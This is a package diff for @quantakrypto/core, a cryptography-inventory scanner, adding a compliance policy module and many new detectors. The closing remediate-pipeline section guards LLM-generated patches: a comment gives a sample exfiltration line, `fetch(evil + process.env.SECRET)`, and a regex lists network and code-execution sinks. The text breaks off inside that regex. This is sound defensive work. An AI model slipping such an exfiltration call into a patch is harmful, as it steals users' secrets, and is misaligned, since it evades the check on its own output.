@quantakrypto/core 0.4.3 → 0.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +76 -27
- package/dist/cbom-merge.d.ts +9 -0
- package/dist/cbom-merge.d.ts.map +1 -0
- package/dist/cbom-merge.js +121 -0
- package/dist/cbom-merge.js.map +1 -0
- package/dist/cbom.d.ts +5 -0
- package/dist/cbom.d.ts.map +1 -1
- package/dist/cbom.js +132 -37
- package/dist/cbom.js.map +1 -1
- package/dist/comments.d.ts +6 -26
- package/dist/comments.d.ts.map +1 -1
- package/dist/comments.js +77 -38
- package/dist/comments.js.map +1 -1
- package/dist/dependencies.d.ts.map +1 -1
- package/dist/dependencies.js +1 -1
- package/dist/dependencies.js.map +1 -1
- package/dist/detect-utils.d.ts +59 -21
- package/dist/detect-utils.d.ts.map +1 -1
- package/dist/detect-utils.js +143 -8
- package/dist/detect-utils.js.map +1 -1
- package/dist/detectors/age.d.ts +16 -0
- package/dist/detectors/age.d.ts.map +1 -0
- package/dist/detectors/age.js +40 -0
- package/dist/detectors/age.js.map +1 -0
- package/dist/detectors/ansible.d.ts +13 -0
- package/dist/detectors/ansible.d.ts.map +1 -0
- package/dist/detectors/ansible.js +108 -0
- package/dist/detectors/ansible.js.map +1 -0
- package/dist/detectors/bicep.d.ts +20 -0
- package/dist/detectors/bicep.d.ts.map +1 -0
- package/dist/detectors/bicep.js +74 -0
- package/dist/detectors/bicep.js.map +1 -0
- package/dist/detectors/c.d.ts +4 -2
- package/dist/detectors/c.d.ts.map +1 -1
- package/dist/detectors/c.js +222 -4
- package/dist/detectors/c.js.map +1 -1
- package/dist/detectors/cicd.d.ts +27 -0
- package/dist/detectors/cicd.d.ts.map +1 -0
- package/dist/detectors/cicd.js +129 -0
- package/dist/detectors/cicd.js.map +1 -0
- package/dist/detectors/cloud-kms.d.ts +24 -0
- package/dist/detectors/cloud-kms.d.ts.map +1 -0
- package/dist/detectors/cloud-kms.js +99 -0
- package/dist/detectors/cloud-kms.js.map +1 -0
- package/dist/detectors/cloudformation.d.ts +38 -0
- package/dist/detectors/cloudformation.d.ts.map +1 -0
- package/dist/detectors/cloudformation.js +201 -0
- package/dist/detectors/cloudformation.js.map +1 -0
- package/dist/detectors/codesign.d.ts +50 -0
- package/dist/detectors/codesign.d.ts.map +1 -0
- package/dist/detectors/codesign.js +143 -0
- package/dist/detectors/codesign.js.map +1 -0
- package/dist/detectors/csharp.d.ts.map +1 -1
- package/dist/detectors/csharp.js +13 -3
- package/dist/detectors/csharp.js.map +1 -1
- package/dist/detectors/dart.d.ts +35 -0
- package/dist/detectors/dart.d.ts.map +1 -0
- package/dist/detectors/dart.js +177 -0
- package/dist/detectors/dart.js.map +1 -0
- package/dist/detectors/database.d.ts +19 -0
- package/dist/detectors/database.d.ts.map +1 -0
- package/dist/detectors/database.js +97 -0
- package/dist/detectors/database.js.map +1 -0
- package/dist/detectors/dkim.d.ts +54 -0
- package/dist/detectors/dkim.d.ts.map +1 -0
- package/dist/detectors/dkim.js +92 -0
- package/dist/detectors/dkim.js.map +1 -0
- package/dist/detectors/dnssec.d.ts +55 -0
- package/dist/detectors/dnssec.d.ts.map +1 -0
- package/dist/detectors/dnssec.js +116 -0
- package/dist/detectors/dnssec.js.map +1 -0
- package/dist/detectors/elixir.d.ts +20 -0
- package/dist/detectors/elixir.d.ts.map +1 -0
- package/dist/detectors/elixir.js +227 -0
- package/dist/detectors/elixir.js.map +1 -0
- package/dist/detectors/java.d.ts.map +1 -1
- package/dist/detectors/java.js +34 -4
- package/dist/detectors/java.js.map +1 -1
- package/dist/detectors/jose.d.ts +20 -0
- package/dist/detectors/jose.d.ts.map +1 -0
- package/dist/detectors/jose.js +72 -0
- package/dist/detectors/jose.js.map +1 -0
- package/dist/detectors/jwk.d.ts +25 -0
- package/dist/detectors/jwk.d.ts.map +1 -0
- package/dist/detectors/jwk.js +131 -0
- package/dist/detectors/jwk.js.map +1 -0
- package/dist/detectors/k8s.d.ts +17 -0
- package/dist/detectors/k8s.d.ts.map +1 -0
- package/dist/detectors/k8s.js +88 -0
- package/dist/detectors/k8s.js.map +1 -0
- package/dist/detectors/keystore.d.ts +19 -0
- package/dist/detectors/keystore.d.ts.map +1 -0
- package/dist/detectors/keystore.js +76 -0
- package/dist/detectors/keystore.js.map +1 -0
- package/dist/detectors/mesh.d.ts +34 -0
- package/dist/detectors/mesh.d.ts.map +1 -0
- package/dist/detectors/mesh.js +91 -0
- package/dist/detectors/mesh.js.map +1 -0
- package/dist/detectors/messaging.d.ts +16 -0
- package/dist/detectors/messaging.d.ts.map +1 -0
- package/dist/detectors/messaging.js +79 -0
- package/dist/detectors/messaging.js.map +1 -0
- package/dist/detectors/objc.d.ts +41 -0
- package/dist/detectors/objc.d.ts.map +1 -0
- package/dist/detectors/objc.js +146 -0
- package/dist/detectors/objc.js.map +1 -0
- package/dist/detectors/openpgp.d.ts +20 -0
- package/dist/detectors/openpgp.d.ts.map +1 -0
- package/dist/detectors/openpgp.js +151 -0
- package/dist/detectors/openpgp.js.map +1 -0
- package/dist/detectors/pem.d.ts.map +1 -1
- package/dist/detectors/pem.js +33 -1
- package/dist/detectors/pem.js.map +1 -1
- package/dist/detectors/php.d.ts +25 -0
- package/dist/detectors/php.d.ts.map +1 -0
- package/dist/detectors/php.js +171 -0
- package/dist/detectors/php.js.map +1 -0
- package/dist/detectors/pkcs11.d.ts +17 -0
- package/dist/detectors/pkcs11.d.ts.map +1 -0
- package/dist/detectors/pkcs11.js +87 -0
- package/dist/detectors/pkcs11.js.map +1 -0
- package/dist/detectors/proxy.d.ts +52 -0
- package/dist/detectors/proxy.d.ts.map +1 -0
- package/dist/detectors/proxy.js +157 -0
- package/dist/detectors/proxy.js.map +1 -0
- package/dist/detectors/pulumi.d.ts +19 -0
- package/dist/detectors/pulumi.d.ts.map +1 -0
- package/dist/detectors/pulumi.js +80 -0
- package/dist/detectors/pulumi.js.map +1 -0
- package/dist/detectors/python.d.ts.map +1 -1
- package/dist/detectors/python.js +70 -0
- package/dist/detectors/python.js.map +1 -1
- package/dist/detectors/rust.d.ts.map +1 -1
- package/dist/detectors/rust.js +73 -0
- package/dist/detectors/rust.js.map +1 -1
- package/dist/detectors/secrets.d.ts +24 -0
- package/dist/detectors/secrets.d.ts.map +1 -0
- package/dist/detectors/secrets.js +63 -0
- package/dist/detectors/secrets.js.map +1 -0
- package/dist/detectors/solidity.d.ts +50 -0
- package/dist/detectors/solidity.d.ts.map +1 -0
- package/dist/detectors/solidity.js +108 -0
- package/dist/detectors/solidity.js.map +1 -0
- package/dist/detectors/source.d.ts.map +1 -1
- package/dist/detectors/source.js +243 -53
- package/dist/detectors/source.js.map +1 -1
- package/dist/detectors/spire.d.ts +49 -0
- package/dist/detectors/spire.d.ts.map +1 -0
- package/dist/detectors/spire.js +77 -0
- package/dist/detectors/spire.js.map +1 -0
- package/dist/detectors/ssh-ca.d.ts +72 -0
- package/dist/detectors/ssh-ca.d.ts.map +1 -0
- package/dist/detectors/ssh-ca.js +119 -0
- package/dist/detectors/ssh-ca.js.map +1 -0
- package/dist/detectors/stateful-hbs.d.ts.map +1 -1
- package/dist/detectors/stateful-hbs.js +9 -6
- package/dist/detectors/stateful-hbs.js.map +1 -1
- package/dist/detectors/supply-chain.d.ts +17 -0
- package/dist/detectors/supply-chain.d.ts.map +1 -0
- package/dist/detectors/supply-chain.js +89 -0
- package/dist/detectors/supply-chain.js.map +1 -0
- package/dist/detectors/swift.d.ts +22 -0
- package/dist/detectors/swift.d.ts.map +1 -0
- package/dist/detectors/swift.js +120 -0
- package/dist/detectors/swift.js.map +1 -0
- package/dist/detectors/terraform.d.ts +21 -0
- package/dist/detectors/terraform.d.ts.map +1 -0
- package/dist/detectors/terraform.js +150 -0
- package/dist/detectors/terraform.js.map +1 -0
- package/dist/detectors/vault.d.ts +15 -0
- package/dist/detectors/vault.d.ts.map +1 -0
- package/dist/detectors/vault.js +97 -0
- package/dist/detectors/vault.js.map +1 -0
- package/dist/detectors/vpn.d.ts +22 -0
- package/dist/detectors/vpn.d.ts.map +1 -0
- package/dist/detectors/vpn.js +73 -0
- package/dist/detectors/vpn.js.map +1 -0
- package/dist/detectors/weak-hash.d.ts +71 -0
- package/dist/detectors/weak-hash.d.ts.map +1 -0
- package/dist/detectors/weak-hash.js +116 -0
- package/dist/detectors/weak-hash.js.map +1 -0
- package/dist/detectors/webauthn.d.ts +61 -0
- package/dist/detectors/webauthn.d.ts.map +1 -0
- package/dist/detectors/webauthn.js +109 -0
- package/dist/detectors/webauthn.js.map +1 -0
- package/dist/detectors/xmldsig.d.ts +23 -0
- package/dist/detectors/xmldsig.d.ts.map +1 -0
- package/dist/detectors/xmldsig.js +84 -0
- package/dist/detectors/xmldsig.js.map +1 -0
- package/dist/evidence.d.ts +79 -4
- package/dist/evidence.d.ts.map +1 -1
- package/dist/evidence.js +76 -0
- package/dist/evidence.js.map +1 -1
- package/dist/index.d.ts +17 -9
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +21 -9
- package/dist/index.js.map +1 -1
- package/dist/inventory.d.ts +0 -2
- package/dist/inventory.d.ts.map +1 -1
- package/dist/inventory.js +15 -6
- package/dist/inventory.js.map +1 -1
- package/dist/policy.d.ts +67 -0
- package/dist/policy.d.ts.map +1 -0
- package/dist/policy.js +115 -0
- package/dist/policy.js.map +1 -0
- package/dist/registry.d.ts +9 -4
- package/dist/registry.d.ts.map +1 -1
- package/dist/registry.js +81 -4
- package/dist/registry.js.map +1 -1
- package/dist/remediate-pipeline.d.ts +0 -3
- package/dist/remediate-pipeline.d.ts.map +1 -1
- package/dist/remediate-pipeline.js +23 -2
- package/dist/remediate-pipeline.js.map +1 -1
- package/dist/remediation.d.ts +10 -0
- package/dist/remediation.d.ts.map +1 -1
- package/dist/remediation.js +32 -0
- package/dist/remediation.js.map +1 -1
- package/dist/report.d.ts +9 -0
- package/dist/report.d.ts.map +1 -1
- package/dist/report.js +38 -1
- package/dist/report.js.map +1 -1
- package/dist/scan-worker.js +5 -3
- package/dist/scan-worker.js.map +1 -1
- package/dist/scan.d.ts.map +1 -1
- package/dist/scan.js +35 -6
- package/dist/scan.js.map +1 -1
- package/dist/standards-profiles.d.ts +58 -0
- package/dist/standards-profiles.d.ts.map +1 -0
- package/dist/standards-profiles.js +100 -0
- package/dist/standards-profiles.js.map +1 -0
- package/dist/standards.d.ts +96 -0
- package/dist/standards.d.ts.map +1 -0
- package/dist/standards.js +107 -0
- package/dist/standards.js.map +1 -0
- package/dist/types.d.ts +6 -5
- package/dist/types.d.ts.map +1 -1
- package/dist/types.js.map +1 -1
- package/dist/version.d.ts +1 -1
- package/dist/version.js +1 -1
- package/dist/version.js.map +1 -1
- package/dist/vex.d.ts +39 -0
- package/dist/vex.d.ts.map +1 -0
- package/dist/vex.js +87 -0
- package/dist/vex.js.map +1 -0
- package/dist/walk.d.ts +8 -3
- package/dist/walk.d.ts.map +1 -1
- package/dist/walk.js +32 -1
- package/dist/walk.js.map +1 -1
- package/package.json +1 -1
- package/src/cbom-merge.ts +146 -0
- package/src/cbom.ts +153 -39
- package/src/comments.ts +84 -39
- package/src/dependencies.ts +2 -1
- package/src/detect-utils.ts +146 -12
- package/src/detectors/age.ts +60 -0
- package/src/detectors/ansible.ts +140 -0
- package/src/detectors/bicep.ts +107 -0
- package/src/detectors/c.ts +240 -6
- package/src/detectors/cicd.ts +171 -0
- package/src/detectors/cloud-kms.ts +141 -0
- package/src/detectors/cloudformation.ts +250 -0
- package/src/detectors/codesign.ts +214 -0
- package/src/detectors/csharp.ts +13 -3
- package/src/detectors/dart.ts +237 -0
- package/src/detectors/database.ts +141 -0
- package/src/detectors/dkim.ts +172 -0
- package/src/detectors/dnssec.ts +195 -0
- package/src/detectors/elixir.ts +268 -0
- package/src/detectors/java.ts +39 -4
- package/src/detectors/jose.ts +110 -0
- package/src/detectors/jwk.ts +170 -0
- package/src/detectors/k8s.ts +115 -0
- package/src/detectors/keystore.ts +109 -0
- package/src/detectors/mesh.ts +130 -0
- package/src/detectors/messaging.ts +106 -0
- package/src/detectors/objc.ts +209 -0
- package/src/detectors/openpgp.ts +194 -0
- package/src/detectors/pem.ts +31 -1
- package/src/detectors/php.ts +230 -0
- package/src/detectors/pkcs11.ts +113 -0
- package/src/detectors/proxy.ts +236 -0
- package/src/detectors/pulumi.ts +106 -0
- package/src/detectors/python.ts +71 -0
- package/src/detectors/rust.ts +76 -0
- package/src/detectors/secrets.ts +103 -0
- package/src/detectors/solidity.ts +176 -0
- package/src/detectors/source.ts +283 -73
- package/src/detectors/spire.ts +143 -0
- package/src/detectors/ssh-ca.ts +215 -0
- package/src/detectors/stateful-hbs.ts +9 -6
- package/src/detectors/supply-chain.ts +117 -0
- package/src/detectors/swift.ts +149 -0
- package/src/detectors/terraform.ts +188 -0
- package/src/detectors/vault.ts +120 -0
- package/src/detectors/vpn.ts +103 -0
- package/src/detectors/weak-hash.ts +217 -0
- package/src/detectors/webauthn.ts +205 -0
- package/src/detectors/xmldsig.ts +115 -0
- package/src/evidence.ts +138 -4
- package/src/index.ts +50 -12
- package/src/inventory.ts +15 -7
- package/src/policy.ts +180 -0
- package/src/registry.ts +81 -4
- package/src/remediate-pipeline.ts +26 -3
- package/src/remediation.ts +39 -0
- package/src/report.ts +43 -1
- package/src/scan-worker.ts +5 -3
- package/src/scan.ts +41 -6
- package/src/standards-profiles.ts +136 -0
- package/src/standards.ts +186 -0
- package/src/types.ts +11 -4
- package/src/version.ts +1 -1
- package/src/vex.ts +122 -0
- package/src/walk.ts +33 -2
package/src/policy.ts
ADDED
|
@@ -0,0 +1,180 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Machine-readable cryptography policy → per-finding verdicts for the ISO/IEC
|
|
3
|
+
* 27001 A.8.24 evidence report (docs/compliance/iso27001-a8.24-evidence.md §4).
|
|
4
|
+
*
|
|
5
|
+
* An organization supplies a policy listing which classical algorithm families it
|
|
6
|
+
* prohibits, permits, or is actively transitioning off. `buildPolicyMapping` then
|
|
7
|
+
* flags each qScan finding as `conformant` / `violation` / `transition-pending`
|
|
8
|
+
* against that policy — turning the neutral inventory into audit-ready evidence
|
|
9
|
+
* that the org *assesses* its cryptography against a defined policy.
|
|
10
|
+
*
|
|
11
|
+
* Honesty boundary: without a policy the report stays neutral inventory and the
|
|
12
|
+
* ORG owns the conformance judgment (COMPLIANCE.md §3). The policy is a permit-
|
|
13
|
+
* list: a classical family not named anywhere defaults to a violation (unmanaged
|
|
14
|
+
* crypto is a policy gap), overridable via `defaultVerdict`.
|
|
15
|
+
*/
|
|
16
|
+
import type { AlgorithmFamily, Finding } from "./types.js";
|
|
17
|
+
|
|
18
|
+
/** The three verdicts a finding can carry against a policy. */
|
|
19
|
+
export type PolicyVerdict = "conformant" | "violation" | "transition-pending";
|
|
20
|
+
|
|
21
|
+
/** The complete set of algorithm families a policy may reference. */
|
|
22
|
+
const ALGORITHM_FAMILIES: readonly AlgorithmFamily[] = [
|
|
23
|
+
"RSA",
|
|
24
|
+
"ECDH",
|
|
25
|
+
"ECDSA",
|
|
26
|
+
"EdDSA",
|
|
27
|
+
"DH",
|
|
28
|
+
"DSA",
|
|
29
|
+
"X25519",
|
|
30
|
+
"X448",
|
|
31
|
+
"ECIES",
|
|
32
|
+
"unknown",
|
|
33
|
+
];
|
|
34
|
+
|
|
35
|
+
/** An organization-supplied cryptography policy (from a JSON file). */
|
|
36
|
+
export interface CryptoPolicy {
|
|
37
|
+
/** Human name / version of the policy, recorded in the evidence report. */
|
|
38
|
+
name?: string;
|
|
39
|
+
/** Families the org explicitly accepts (e.g. short-lived signatures) → conformant. */
|
|
40
|
+
permitted?: AlgorithmFamily[];
|
|
41
|
+
/** Families the org prohibits outright → violation. */
|
|
42
|
+
prohibited?: AlgorithmFamily[];
|
|
43
|
+
/** Families being actively migrated, allowed within the window → transition-pending. */
|
|
44
|
+
inTransition?: AlgorithmFamily[];
|
|
45
|
+
/** Optional migration deadline (ISO date / year), recorded for context. */
|
|
46
|
+
transitionDeadline?: string;
|
|
47
|
+
/** Verdict for a family named in none of the lists. Default: `"violation"`. */
|
|
48
|
+
defaultVerdict?: PolicyVerdict;
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
/** One finding's verdict against the policy. */
|
|
52
|
+
export interface PolicyFindingVerdict {
|
|
53
|
+
ruleId: string;
|
|
54
|
+
algorithm: AlgorithmFamily | "unknown";
|
|
55
|
+
file: string;
|
|
56
|
+
line: number;
|
|
57
|
+
verdict: PolicyVerdict;
|
|
58
|
+
reason: string;
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
/** The `policyMapping` block added to the evidence report. */
|
|
62
|
+
export interface PolicyMapping {
|
|
63
|
+
policyName: string | null;
|
|
64
|
+
transitionDeadline: string | null;
|
|
65
|
+
summary: Record<PolicyVerdict, number>;
|
|
66
|
+
findings: PolicyFindingVerdict[];
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
/** Resolve one algorithm family's verdict + a human reason against a policy. */
|
|
70
|
+
export function verdictForAlgorithm(
|
|
71
|
+
algorithm: AlgorithmFamily | undefined,
|
|
72
|
+
policy: CryptoPolicy,
|
|
73
|
+
): { verdict: PolicyVerdict; reason: string } {
|
|
74
|
+
const algo = algorithm ?? "unknown";
|
|
75
|
+
if (policy.prohibited?.includes(algo)) {
|
|
76
|
+
return { verdict: "violation", reason: `${algo} is prohibited by the policy.` };
|
|
77
|
+
}
|
|
78
|
+
if (policy.inTransition?.includes(algo)) {
|
|
79
|
+
return {
|
|
80
|
+
verdict: "transition-pending",
|
|
81
|
+
reason: `${algo} is being migrated (in the policy's transition set).`,
|
|
82
|
+
};
|
|
83
|
+
}
|
|
84
|
+
if (policy.permitted?.includes(algo)) {
|
|
85
|
+
return { verdict: "conformant", reason: `${algo} is permitted by the policy.` };
|
|
86
|
+
}
|
|
87
|
+
const fallback = policy.defaultVerdict ?? "violation";
|
|
88
|
+
return {
|
|
89
|
+
verdict: fallback,
|
|
90
|
+
reason: `${algo} is not named in the policy (default verdict: ${fallback}).`,
|
|
91
|
+
};
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
/**
|
|
95
|
+
* Map every finding to a policy verdict, with per-verdict counts. Deterministic:
|
|
96
|
+
* the same findings + policy always yield the same mapping (safe to hash in the
|
|
97
|
+
* A.8.24 evidence attestation).
|
|
98
|
+
*/
|
|
99
|
+
export function buildPolicyMapping(
|
|
100
|
+
findings: readonly Finding[],
|
|
101
|
+
policy: CryptoPolicy,
|
|
102
|
+
): PolicyMapping {
|
|
103
|
+
const summary: Record<PolicyVerdict, number> = {
|
|
104
|
+
conformant: 0,
|
|
105
|
+
violation: 0,
|
|
106
|
+
"transition-pending": 0,
|
|
107
|
+
};
|
|
108
|
+
const mapped: PolicyFindingVerdict[] = findings.map((f) => {
|
|
109
|
+
const { verdict, reason } = verdictForAlgorithm(f.algorithm, policy);
|
|
110
|
+
summary[verdict]++;
|
|
111
|
+
return {
|
|
112
|
+
ruleId: f.ruleId,
|
|
113
|
+
algorithm: f.algorithm ?? "unknown",
|
|
114
|
+
file: f.location.file,
|
|
115
|
+
line: f.location.line,
|
|
116
|
+
verdict,
|
|
117
|
+
reason,
|
|
118
|
+
};
|
|
119
|
+
});
|
|
120
|
+
return {
|
|
121
|
+
policyName: policy.name ?? null,
|
|
122
|
+
transitionDeadline: policy.transitionDeadline ?? null,
|
|
123
|
+
summary,
|
|
124
|
+
findings: mapped,
|
|
125
|
+
};
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
/**
|
|
129
|
+
* Validate + normalize a parsed policy object (from an operator's JSON file).
|
|
130
|
+
* Throws a `TypeError` with a clear message on anything malformed — a bad policy
|
|
131
|
+
* file must fail loudly, never silently degrade the evidence verdict.
|
|
132
|
+
*/
|
|
133
|
+
export function parseCryptoPolicy(raw: unknown): CryptoPolicy {
|
|
134
|
+
if (!raw || typeof raw !== "object" || Array.isArray(raw)) {
|
|
135
|
+
throw new TypeError("crypto policy must be a JSON object");
|
|
136
|
+
}
|
|
137
|
+
const obj = raw as Record<string, unknown>;
|
|
138
|
+
const validFamilies = new Set<string>(ALGORITHM_FAMILIES);
|
|
139
|
+
const list = (key: string): AlgorithmFamily[] | undefined => {
|
|
140
|
+
const v = obj[key];
|
|
141
|
+
if (v === undefined) return undefined;
|
|
142
|
+
if (!Array.isArray(v))
|
|
143
|
+
throw new TypeError(`policy "${key}" must be an array of algorithm families`);
|
|
144
|
+
for (const item of v) {
|
|
145
|
+
if (typeof item !== "string" || !validFamilies.has(item)) {
|
|
146
|
+
throw new TypeError(
|
|
147
|
+
`policy "${key}" has an unknown algorithm family ${JSON.stringify(item)}; expected one of ${ALGORITHM_FAMILIES.join(", ")}`,
|
|
148
|
+
);
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
return v as AlgorithmFamily[];
|
|
152
|
+
};
|
|
153
|
+
const verdicts = new Set<PolicyVerdict>(["conformant", "violation", "transition-pending"]);
|
|
154
|
+
let defaultVerdict: PolicyVerdict | undefined;
|
|
155
|
+
if (obj.defaultVerdict !== undefined) {
|
|
156
|
+
if (
|
|
157
|
+
typeof obj.defaultVerdict !== "string" ||
|
|
158
|
+
!verdicts.has(obj.defaultVerdict as PolicyVerdict)
|
|
159
|
+
) {
|
|
160
|
+
throw new TypeError(`policy "defaultVerdict" must be one of ${[...verdicts].join(", ")}`);
|
|
161
|
+
}
|
|
162
|
+
defaultVerdict = obj.defaultVerdict as PolicyVerdict;
|
|
163
|
+
}
|
|
164
|
+
if (obj.name !== undefined && typeof obj.name !== "string") {
|
|
165
|
+
throw new TypeError('policy "name" must be a string');
|
|
166
|
+
}
|
|
167
|
+
if (obj.transitionDeadline !== undefined && typeof obj.transitionDeadline !== "string") {
|
|
168
|
+
throw new TypeError('policy "transitionDeadline" must be a string');
|
|
169
|
+
}
|
|
170
|
+
return {
|
|
171
|
+
...(obj.name !== undefined ? { name: obj.name as string } : {}),
|
|
172
|
+
...(list("permitted") ? { permitted: list("permitted") } : {}),
|
|
173
|
+
...(list("prohibited") ? { prohibited: list("prohibited") } : {}),
|
|
174
|
+
...(list("inTransition") ? { inTransition: list("inTransition") } : {}),
|
|
175
|
+
...(obj.transitionDeadline !== undefined
|
|
176
|
+
? { transitionDeadline: obj.transitionDeadline as string }
|
|
177
|
+
: {}),
|
|
178
|
+
...(defaultVerdict !== undefined ? { defaultVerdict } : {}),
|
|
179
|
+
};
|
|
180
|
+
}
|
package/src/registry.ts
CHANGED
|
@@ -18,8 +18,44 @@ import { javaDetector } from "./detectors/java.js";
|
|
|
18
18
|
import { csharpDetector } from "./detectors/csharp.js";
|
|
19
19
|
import { rustDetector } from "./detectors/rust.js";
|
|
20
20
|
import { rubyDetector } from "./detectors/ruby.js";
|
|
21
|
+
import { phpDetector } from "./detectors/php.js";
|
|
22
|
+
import { elixirDetector } from "./detectors/elixir.js";
|
|
21
23
|
import { cDetector } from "./detectors/c.js";
|
|
24
|
+
import { swiftDetector } from "./detectors/swift.js";
|
|
25
|
+
import { objcDetector } from "./detectors/objc.js";
|
|
26
|
+
import { dartDetector } from "./detectors/dart.js";
|
|
27
|
+
import { solidityDetector } from "./detectors/solidity.js";
|
|
22
28
|
import { pemDetector } from "./detectors/pem.js";
|
|
29
|
+
import { jwkDetector } from "./detectors/jwk.js";
|
|
30
|
+
import { terraformDetector } from "./detectors/terraform.js";
|
|
31
|
+
import { cloudKmsDetector } from "./detectors/cloud-kms.js";
|
|
32
|
+
import { cicdDetector } from "./detectors/cicd.js";
|
|
33
|
+
import { secretsDetector } from "./detectors/secrets.js";
|
|
34
|
+
import { joseDetector } from "./detectors/jose.js";
|
|
35
|
+
import { k8sDetector } from "./detectors/k8s.js";
|
|
36
|
+
import { messagingDetector } from "./detectors/messaging.js";
|
|
37
|
+
import { databaseDetector } from "./detectors/database.js";
|
|
38
|
+
import { xmldsigDetector } from "./detectors/xmldsig.js";
|
|
39
|
+
import { pkcs11Detector } from "./detectors/pkcs11.js";
|
|
40
|
+
import { dkimDetector } from "./detectors/dkim.js";
|
|
41
|
+
import { sshCaDetector } from "./detectors/ssh-ca.js";
|
|
42
|
+
import { spireDetector } from "./detectors/spire.js";
|
|
43
|
+
import { proxyDetector } from "./detectors/proxy.js";
|
|
44
|
+
import { webauthnDetector } from "./detectors/webauthn.js";
|
|
45
|
+
import { codesignDetector } from "./detectors/codesign.js";
|
|
46
|
+
import { weakHashDetector } from "./detectors/weak-hash.js";
|
|
47
|
+
import { cloudformationDetector } from "./detectors/cloudformation.js";
|
|
48
|
+
import { bicepDetector } from "./detectors/bicep.js";
|
|
49
|
+
import { pulumiDetector } from "./detectors/pulumi.js";
|
|
50
|
+
import { meshDetector } from "./detectors/mesh.js";
|
|
51
|
+
import { dnssecDetector } from "./detectors/dnssec.js";
|
|
52
|
+
import { vpnDetector } from "./detectors/vpn.js";
|
|
53
|
+
import { ansibleDetector } from "./detectors/ansible.js";
|
|
54
|
+
import { ageDetector } from "./detectors/age.js";
|
|
55
|
+
import { supplyChainDetector } from "./detectors/supply-chain.js";
|
|
56
|
+
import { vaultDetector } from "./detectors/vault.js";
|
|
57
|
+
import { keystoreDetector } from "./detectors/keystore.js";
|
|
58
|
+
import { openpgpDetector } from "./detectors/openpgp.js";
|
|
23
59
|
import { statefulHbsDetector } from "./detectors/stateful-hbs.js";
|
|
24
60
|
|
|
25
61
|
/** Normalised scope of a detector (defaults to "source" when undeclared). */
|
|
@@ -110,10 +146,15 @@ export class DetectorRegistry {
|
|
|
110
146
|
}
|
|
111
147
|
|
|
112
148
|
/**
|
|
113
|
-
* The built-in detectors, in run order: the JS/TS source + config
|
|
114
|
-
*
|
|
115
|
-
*
|
|
116
|
-
*
|
|
149
|
+
* The built-in detectors, in run order: the JS/TS source + language-agnostic config
|
|
150
|
+
* detectors, the per-language source packs (Python, Go, Java/Kotlin/Scala, C#, Rust,
|
|
151
|
+
* Ruby, PHP, Elixir, C/C++, Swift, Objective-C, Dart, Solidity/Move/Cairo), the
|
|
152
|
+
* infrastructure/config detectors (Terraform, Bicep, Pulumi, CloudFormation, cloud-KMS,
|
|
153
|
+
* k8s, mesh, DNSSEC, Vault, database/TDE, messaging, VPN, Ansible, supply-chain, CI/CD,
|
|
154
|
+
* secrets, age, keystore, OpenPGP, JWK, XML-DSig/SAML, PKCS#11/HSM, DKIM, SSH-CA,
|
|
155
|
+
* SPIFFE/SPIRE, reverse-proxy/gRPC TLS, WebAuthn/FIDO2, code-signing, weak-hash-in-
|
|
156
|
+
* signature), and the stateful-HBS (SP 800-208) detector. The manifest (dependency)
|
|
157
|
+
* scanner is handled separately by `scan()`.
|
|
117
158
|
*
|
|
118
159
|
* This is the single source of truth for the default detector set: both
|
|
119
160
|
* {@link defaultRegistry} and the public `detectors` export (re-exported from
|
|
@@ -127,8 +168,44 @@ export const builtinDetectors: Detector[] = [
|
|
|
127
168
|
csharpDetector,
|
|
128
169
|
rustDetector,
|
|
129
170
|
rubyDetector,
|
|
171
|
+
phpDetector,
|
|
172
|
+
elixirDetector,
|
|
130
173
|
cDetector,
|
|
174
|
+
swiftDetector,
|
|
175
|
+
objcDetector,
|
|
176
|
+
dartDetector,
|
|
177
|
+
solidityDetector,
|
|
131
178
|
pemDetector,
|
|
179
|
+
jwkDetector,
|
|
180
|
+
terraformDetector,
|
|
181
|
+
cloudKmsDetector,
|
|
182
|
+
cicdDetector,
|
|
183
|
+
secretsDetector,
|
|
184
|
+
joseDetector,
|
|
185
|
+
k8sDetector,
|
|
186
|
+
messagingDetector,
|
|
187
|
+
databaseDetector,
|
|
188
|
+
xmldsigDetector,
|
|
189
|
+
pkcs11Detector,
|
|
190
|
+
dkimDetector,
|
|
191
|
+
sshCaDetector,
|
|
192
|
+
spireDetector,
|
|
193
|
+
proxyDetector,
|
|
194
|
+
webauthnDetector,
|
|
195
|
+
codesignDetector,
|
|
196
|
+
weakHashDetector,
|
|
197
|
+
cloudformationDetector,
|
|
198
|
+
bicepDetector,
|
|
199
|
+
pulumiDetector,
|
|
200
|
+
meshDetector,
|
|
201
|
+
dnssecDetector,
|
|
202
|
+
vpnDetector,
|
|
203
|
+
ansibleDetector,
|
|
204
|
+
ageDetector,
|
|
205
|
+
supplyChainDetector,
|
|
206
|
+
vaultDetector,
|
|
207
|
+
keystoreDetector,
|
|
208
|
+
openpgpDetector,
|
|
132
209
|
statefulHbsDetector,
|
|
133
210
|
];
|
|
134
211
|
|
|
@@ -52,12 +52,24 @@ function passesVerify(before: Finding[], after: Finding[], finding: Finding): bo
|
|
|
52
52
|
* RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard
|
|
53
53
|
* runs ONLY on `source: "llm"` patches (codemods are deterministic + trusted).
|
|
54
54
|
*/
|
|
55
|
-
|
|
56
|
-
|
|
55
|
+
// Node built-in exfil/RCE modules, matched with an OPTIONAL `node:` prefix
|
|
56
|
+
// (idiomatic modern Node — the bare-only form was bypassable) and in BOTH
|
|
57
|
+
// require()/import() call forms AND static `import … from "…"` — the static
|
|
58
|
+
// form has no parens so the old dynamic-only pattern missed it entirely.
|
|
59
|
+
const SINK_MODULES = "child_process|http|https|http2|net|tls|dns|dgram";
|
|
60
|
+
const NEW_SINK_RE = new RegExp(
|
|
61
|
+
"\\b(?:fetch|XMLHttpRequest|WebSocket|navigator\\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\\s*\\(|spawn\\s*\\(|eval\\s*\\(|new\\s+Function|os\\.system|subprocess|Runtime\\.getRuntime" +
|
|
62
|
+
